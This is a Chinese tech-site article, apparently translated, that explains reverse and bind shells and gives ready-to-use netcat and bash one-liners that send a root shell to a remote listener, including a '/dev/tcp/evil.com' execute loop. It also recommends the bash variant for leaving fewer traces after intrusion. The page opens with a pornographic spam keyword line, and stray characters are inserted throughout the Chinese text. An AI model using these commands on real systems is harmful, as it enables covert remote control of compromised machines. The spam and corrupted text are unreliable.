自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

使用NetCat或BASH創(chuàng)建反向Shell來(lái)執(zhí)行遠(yuǎn)程Root命令

系統(tǒng) Linux
反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時(shí),這種技術(shù)會(huì)變得非常有用。本文中詳解了使用NetCat或BASH創(chuàng)建反向Shell來(lái)執(zhí)行遠(yuǎn)程Root命令的方法。

反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時(shí),這種技術(shù)會(huì)變得非常有用。你也許會(huì)說(shuō),“一個(gè)普通的shell或簡(jiǎn)單的SSH通道不是也能實(shí)現(xiàn)這些嗎?”不,無(wú)法實(shí)現(xiàn)。在網(wǎng)上,我看到很多人對(duì)普通shell和反向shell之間的區(qū)別分不清。在我們開(kāi)始下面的內(nèi)容前,先弄清楚這些概念。

反向Shell(Reverse Shell)

  • 反向shell的工作方式是遠(yuǎn)程計(jì)算機(jī)將自己的shell發(fā)送給特定的用戶,而不是將shell綁定到一個(gè)端口上。后者在很多環(huán)境中是無(wú)法訪問(wèn)的。這樣,你就可以對(duì)遠(yuǎn)程服務(wù)器執(zhí)行root命令。

Bind Shell

  • bind shell是用戶用BSAH,將shell綁定到一個(gè)本地端口上,這樣任何人都可以在本地網(wǎng)絡(luò)中發(fā)送命令。

反向shell經(jīng)常會(huì)被黑客用來(lái)做一些不法行為,例如入侵了一臺(tái)服務(wù)器后,他們會(huì)設(shè)置一個(gè)反向shell,將來(lái)他們就能通過(guò)這個(gè)shell輕松的訪問(wèn)這臺(tái)遠(yuǎn)程計(jì)算機(jī)。我相信你是不會(huì)用它來(lái)做這種事情的。

環(huán)境要求

  • 遠(yuǎn)程Unix主機(jī)
  • 安裝了netcat

使用NetCat實(shí)現(xiàn)反向shell交互

當(dāng)通過(guò)shell登錄到遠(yuǎn)程主機(jī)后,下面的指令能輕松的將shell發(fā)送到你的機(jī)器上:

  1. nc -c /bin/sh <你的IP> <任何一個(gè)未封鎖的端口> 

你甚至能通過(guò)netcat來(lái)pipe BASH。

  1. /bin/sh | nc <你的IP> <任何未封鎖的端口> 

然后監(jiān)聽(tīng)這個(gè)shell:

  1. nc -l -p <相同的端口> -vvv 

通過(guò)BASH實(shí)現(xiàn)反向shell

這種技術(shù)是當(dāng)遠(yuǎn)程機(jī)器上沒(méi)有netcat或你想做一些非自然的事情而不想留下太重的痕跡時(shí)使用。

監(jiān)聽(tīng)shell:

  1. nc -l -p <任何未封鎖的端口> -vvv 

先創(chuàng)建一個(gè)新的描述符,分配到一個(gè)網(wǎng)絡(luò)節(jié)點(diǎn)。這樣我們可以對(duì)這個(gè)描述符進(jìn)行讀寫(xiě)。

  1. exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done 

或另外一個(gè)反向shell:

  1. 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196 

create-reverse-shell

這樣,你就可以輕松是通過(guò)netcat發(fā)送任何命令了。

[英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]

責(zé)任編輯:黃丹 來(lái)源: 外刊IT評(píng)論
相關(guān)推薦

2013-12-20 10:36:56

2014-09-26 15:41:51

2012-05-08 11:11:43

Linuxcrontab命令

2015-09-20 20:13:55

2010-06-23 17:34:03

Linux Bash

2010-06-23 17:37:14

Linux Bash

2010-02-03 14:57:18

Linux shell

2010-06-23 17:16:33

Linux Bash

2010-06-23 16:31:10

Linux Bash

2010-06-23 17:29:07

Linux Bash

2023-01-13 23:21:29

netcat命令Linux

2021-07-14 14:20:22

root命令Linux

2009-12-25 09:47:05

LinuxShell編程bash

2018-02-24 15:40:06

LinuxBashShell

2010-05-24 15:03:12

Swap space

2020-06-24 15:30:39

Bashhistory命令Linux

2010-06-23 16:09:40

Linux Bash

2023-01-13 12:37:43

Bashshell花括號(hào)

2021-05-11 07:50:31

BashShell腳本

2018-11-12 09:30:49

Linux命令文件管理器
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)